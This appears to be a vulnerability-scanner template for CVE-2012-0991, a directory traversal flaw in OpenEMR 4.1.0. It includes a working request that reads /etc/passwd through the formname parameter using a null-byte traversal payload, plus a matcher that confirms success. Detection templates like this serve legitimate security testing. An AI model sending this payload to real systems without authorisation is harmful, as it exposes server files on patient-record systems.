id: CVE-2012-0991 info: name: OpenEMR 4.1 - Local File Inclusion author: daffainfo severity: low description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter. impact: | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. remediation: | Apply the latest security patches or upgrade to a newer version of OpenEMR. reference: - https://www.exploit-db.com/exploits/36650 - https://nvd.nist.gov/vuln/detail/CVE-2012-0991 - http://www.open-emr.org/wiki/index.php/OpenEMR_Patches - https://exchange.xforce.ibmcloud.com/vulnerabilities/72914 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:S/C:P/I:N/A:N cvss-score: 3.5 cve-id: CVE-2012-0991 cwe-id: CWE-22 epss-score: 0.81788 epss-percentile: 0.98116 cpe: cpe:2.3:a:openemr:openemr:4.1.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: openemr product: openemr tags: cve,cve2012,lfi,openemr,traversal,edb http: - method: GET path: - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100affb11bd9135243922e8b96dffa96458f32717b9e08cb803907c9d0fe195268d02206121808bd8fd9dd3efb7b283914fe2c1f32bfdb23efeb4b3c83df65ee62bde7a:922c64590222798bb761d5b6d8e72950